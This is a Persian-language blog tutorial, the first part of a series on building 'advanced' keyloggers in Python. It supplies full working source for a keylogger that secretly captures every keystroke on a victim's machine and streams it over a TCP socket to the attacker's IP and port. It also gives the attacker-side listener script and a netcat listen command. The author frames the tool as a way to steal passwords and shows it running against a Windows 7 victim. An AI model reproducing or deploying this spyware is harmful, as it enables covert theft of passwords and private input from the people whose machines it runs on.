-
سه شنبه, ۷ مرداد ۱۳۹۹، ۱۲:۱۱ ب.ظ
-
۱۲۹۶
آموزش ساخت کیلاگرهای پیشرفته در پایتون قسمت ۱ : کیلاگر تحت شبکه
درود به همه !
در یکی از پست های قبلی نحوه ی ساخت کیلاگر ساده رو توضیح دادیم . کار اون کیلاگر این بود که کلید های کیبورد رو ضبط میکرد و اونا رو خیلی ساده مینوشت داخل یه فایل . حالا امروز تصمیم گرفتیم قسمت اول از سری دنباله داره ساخت کیلاگر های پیشرفته در پایتون رو شروع کنیم . در قسمت اول یاد میگیریم چه شکلی کیلاگری تحت شبکه پیاده کنیم . کار این کیلاگر به این صورته که کلید های ضبط شده رو ارسال میکنه برای کامپیوتر هکر در شبکه و هکر هم اونا رو با استفاده از شنودگری که خودمون مینویسیم دریافت میکنه .
نکته : برای درک بهتر این پست ، بهتر است پست آموزش ساخت کیلاگر ساده رو در لینک زیر بخونید :
https://mrpython.blog.ir/post/52
در پست کیلاگر ساده که در بالا معرفی شد توضیحات تعریفی نسبت به کیلاگر رو گفتیم و نیازی نیست دوباره تکرار کنیم . مثلا توضیح دادیم که کیلاگر کارش اینه که کلید هایی که کاربر روی کیبوردش میزنه رو به صورت مخفیانه ضبط میکنه و هکر از اون اطلاعات ضبط شده برای کارهایی مثل دیدن پسوورد ها و .... استفاده میکنه .
اگر یادتون باشه برای نوشتن کیلاگر ما از کتابخونه ای به اسم pynput استفاده میکردیم که نحوه ی نصبشو در پست قبلی کیلاگر نویسی گفتیم .
سورس کیلاگر در پست قبلی این بود :
# https://MrPython.blog.ir from pynput.keyboard import Listener def keypress(Key): f = open("logs.txt","a") f.write(str(Key) + "\n") f.close() listener = Listener(on_press = keypress) listener.start() while True: pass
توضیح این سورس رو کامل دادیم قبلا ولی باز یه خلاصه ازش میگیم . اول که کتابخونه مورد نیاز ایمپورت شده سپس یه تابع تعریف کردیم که یه ورودی به اسم Key داره که همون کلید فشار داده شدس و همونو میره داخل یه فایلی مینویسه . بعد یه شیء شنودگر کلید های کیبرد درست کردیم و اسمشو گذاشتیم listener . همینطور که میبینید یه ورودی بهش دادیم به نام on_press که اسم تابعی که بالا تعریف کردیم رو بهش دادیم . کارش اینه که شنود میکنه و به محض اینکه کاربر کلیدی رو زد ، تابع keypress رو فراخونی میکنه و کلید زده شده رو به عنوان ورودی میده بهش . در خط بعد هم که شنودگر رو با متود start فعال کردیم .
در نهایت یه حلقه while بینهایت نوشتیم تا برنامه بسته نشه .
در کیلاگر تحت شبکه ما نیاز به دوتا سورس داریم . یکی سورس شنودگر و یکی هم سورس کیلاگر . هکر سورس شنودگر رو روی سیستم خوش اجرا میکنه و قربانی هم سورس کیلاگر . کیلاگر وصل میشه به شنود گر روی سیستم هکر و هر کلیدی که زده میشه رو میفرسته برای شنود گر . شنودگر هم اون کلید رو به هکر نشون میده .
برای نوشتن سورس کیلاگر ما همین سورس کیلاگر قبلی رو یکم تغییرات روش ایجاد میکنیم تا به جای اینکه اون کلید زده شده رو داخل یه فایلی بنویسه ، ارسالش کنه به کامپیوتر هکر در شبکه تا شنودگر که روی سیستم هکر اجرا شده اون رو بگیره . خب ما برای نوشتن قسمت تحت شبکه ی این اسکریپت از کتابخونه ی socket در پایتون استفاده میکنیم که برای سوکت نویسی (برنامه نویسی شبکه ) هستش.
این کتابخونه به صورت پیشفرض روی پایتون نصبه .
درواقع تغییر اصلی رو ما در تابع keypress که تعریف کردیم ایجاد میکنیم چون همونطور که میدونید کار این تابع در سورس مبتدی این بود که کلید زده شده رو در یه فایل بنویسه . حالا همینو جوری تغییرش میدیم که به جای نوشتن در یه فایل به یه سیستم دیگه در شبکه ارسال کنه .
برای نوشتن سورس کیلاگر ، سورس قبلی رو به این شکل تغییر میدیم :
# https://MrPython.blog.ir
from pynput.keyboard import Listener
import socket
HACKER_IP = "192.168.1.103" #NEW
HACKER_PORT = 12345 #NEW
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #NEW
sock.connect((HACKER_IP,HACKER_PORT)) #NEW
def keypress(Key):
sock.send((str(Key)+"\n").encode()) #NEW
listener = Listener(on_press = keypress)
listener.start()
while True:
pass
خب من قسمت هایی که تغییر کرده رو یه کامنت NEW در آخر خط بهشون اضافه کردم . یه توضیحی روی قسمت های تغییر کرده میدم . در اولین کد جدید که اومدیم کتابخونه socket رو ایمپورت کردیم . سپس دوتا متغییر تعریف کردیم یکی HACKER_IP که آی پی سیستم هکر در شبکه رو داخل نوشتیم و دیگری HACKER_PORT که پورتی که شنودگر روی سیستم هکر روی اون شنود میکنه که برای مثال من گذاشتم ۱۲۳۴۵ . (بهتره از پورت های ۱ تا ۱۰۲۴ استفاده نکنید چون رزرو شده هستن) . بعد از تعریف این دو متغییر اومدیم یه شیء socket ساختیم و ریختیم داخل sock . همینطور که میبینید دوتا ورودی بهش دادیم یکی socket.AF_INET که مشخص میکنه ما از آی پی ورژن ۴ استفاده میکنیم و یکی هم socket.SOCK_STREAM که مشخص میکنه ما میخوایم با این سوکت یک ارتباط TCP برقرار کنیم . (در ارتباط TCP ابتدا اتصال برقرار میشه و سپس اطلاعات ارسال میشه) .
در خط بعدی با متود socket.connect و مشخص کردن آی پی و پورت سیستم هکر ، کانکت شدیم به سیستم هکر .
نکته : وقتی ما میگیم روی پورت ۱۲۳۴۵ وصل شو به سیستم هکر ، باید شنودگری که روی سیستم هکر هست نیز روی پورت ۱۲۳۴۵ شنود کنه .
در آخرین خط تغییر یافته که داخل تابع keypress هست ما گفتیم هر کلیدی که زده میشه رو با متود socket.send ارسال کن به سیستم هکر .
این از سورس کیلاگر که روی سیستم قربانی اجرا میشه . اما یه سورس شنودگر هم باید بنویسیم که هکر اونو اجرا کنه و کلید های ارسال شده توسط کیلاگر رو بهش نشون بده .
برای نوشتن سورس شنودگر هم از کتابخونه ی socket استفاده میکنیم .
سورس شنودگر :
import socket MY_IP = "192.168.1.103" MY_PORT = 12345 sock = socket.socket(socket.AF_INET , socket.SOCK_STREAM) sock.bind((MY_IP,MY_PORT)) sock.listen(1) c , addr = sock.accept() print("Clinet With {} IP Address Connected !".format(addr[0])) while True: recv = c.recv(1024) recv = recv.decode() if recv == "": print("The Client Disconnected") c.close() sock.close() break print(recv)
توضیح سورس شنودگر (Listener) : در ابتدا کتابخونه ی socket رو ایمپورت کردیم و سپس دو متغییر تعریف کردیم . متغییر MY_IP آی پی سیستم هکر هست که قراره روی این آی پی شنود بشه (باید روی همون آی پی که کیلاگر اطلاعاتشو میفرسته بهش شنود بشه .). اینجا آی پی خود سیستم هکر رو قرار دادیم . متغییر MY_PORT نیز پورتی که قراره روش شنود بشه رو مشخص کرده (باید روی همون پورتی که کیلاگر اطلاعاتشو میفرسته شنود انجام بشه). چون ما توی کیلاگر پورت ۱۲۳۴۵ رو مشخص کرده بودیم اینجا هم پورت ۱۲۳۴۵ رو میدیم .
در خط بعدی مانند سورس کیلاگر یک شیء socket درست کردیم و اسمشو گذاشتیم sock .
در خط بعدی آی پی و پورت سیستم هکر که قراره شنودگر روش اجرا بشه رو به هم بایند کردیم . سپس با متود sock.listen مشخص کردیم چند تا سیستم همزمان میتونن به این شنودگر وصل بشن . خب چون ما میخوایم فقط همون یه دونه کیلاگر بهش وصل بشه ، عدد ۱ رو در ورودی بهش دادیم یعنی فقط یک سیستم همزمان میتونه بهش وصل بشه. در خط بعدی از متود sock.accept استفاده کردیم که باعث میشه برنامه منتظر بمونه تا کیلاگر ما بهش وصل بشه . پس از اینکه وصل شد ، آی پی و پورت کیلاگر رو داخل متغییر addr و خود شیء کلاینت رو داخل آبجکت c که قبل از متود مشخص کردیم میریزه .
بعد یه پرینت زدیم که فلان کلاینت (کیلاگر) با فلان آدرس آی پی به ما وصل شد .
بعد وارد یه حلقه while بینهایت شدیم که هر بار با استفاده از متود c.recv میاد چک میکنه ببینه آیا اطلاعاتی از طرف کیلاگر براش اومده یانه . اگه اومده باشه اون اطلاعات رو میریزه داخل متغییر recv و اونو دیکد میکنه (از حالت بایت به استرینگ تبدیل میکنه) . بعد یه شرط گذاشتیم اگه اطلاعات recv برابر هیچی بود بیا کلا سوکت رو از بین ببر و از برنامه خارج شو . دلیل این شرط اینه که وقتی کلاینت قطع بشه اطلاعاتی که متود c.recv بدست میاره نهایتا یه استرینگ خالیه چون دیگه کسی نیست براش چیزی بفرسته پس یعنی کلاینت قطع شده . همونطور که مبینید در چنین شرایطی چاپ میکنه کلاینت قطع شد و بادستور break از حلقه خارج میشه . ولی اگه recv برابر هیچی نبود خب کد های داخل if اجرا نمیشه و خود recv چاپ میشه که برابر با کلیدی هست که کاربر فشار داده .
این از توضیح سورس کد . اما بریم برای تست . من دوتا سیستم بالا اوردم . یک سیستم ویندوز ۷ برای قربانی (کیلاگر روش اجرا میشه) و یک سیستم لینوکس اوبونتو برای هکر (شنودگر روش اجرا میشه). آی پی سیستم هکر رو نیاز داریم که در شبکه ی من برابر 192.168.1.103 هستش . همچنین ما پورت ۱۲۳۴۵ رو برای انتقال اطلاعات انتخاب میکنیم . پس متغییر های آی پی و پورت در شنودگر و کیلاگر رو با این اطلاعات پر میکنیم که در سورس های بالا بر اساس همین آی پی و پورت مقدار دهی شده بودن.
حالا میام سورس شنودگر رو روی اوبونتو (سیستم هکر) اجرا میکنم و کیلاگر رو هم روی ویندوز ۷ (قربانی) اجرا میکنم.
نکته : اول حتما باید شنودگر اجرا بشه و پس از اجرای شنود گر باید کیلاگر اجرا بشه وگرنه کیلاگر ارور میده چون نمیتونه به شنودگر وصل شه . (به عنوان چالش میتونید در سورس کیلاگر تغییری ایجاد کنید که این اتفاق نیافته . ما برای سادگی سورس اینکارو نکردیم ولی کافیه قبل از تابع sock.connect یه حلقه while پیاده سازی کنید تا وقتی که کیلاگر کانکت نشده به شنودگر برنامه ادامه پیدا نکنه .)
در تصویر زیر کارکرد ابزار رو میبینید که هر کلیدی که در ویندوز ۷ فشرده میشه شنودگر اونو در سیستم هکر بهش نشون میده :
نکته : برای اجرای شنودگر روی سیستم هکر حتما نیاز به سورس شنودگر نیست شما میتوانید با ابزار هایی مثل netcat نیز شنود رو روی پورت ۱۲۳۴۵ انجام بدین . برای مثال در لینوکس با دستور زیر اینکارو میکنیم :
MrPython@debian:~$ nc -l -p 12345
خب اینم از قسمت اول ساخت کیلاگر پیشرفته که اومدیم کیلاگرمون رو تحت شبکه درست کردیم . در قسمت بعدی سری "ساخت کیلاگر های پیشرفته در پایتون" یاد میدیم چه شکلی کاری کنیم که کیلاگرمون کلید ها رو به ایمیل هکر ارسال کنه .
یا حق !
Telegram Channel : @mrpythonblog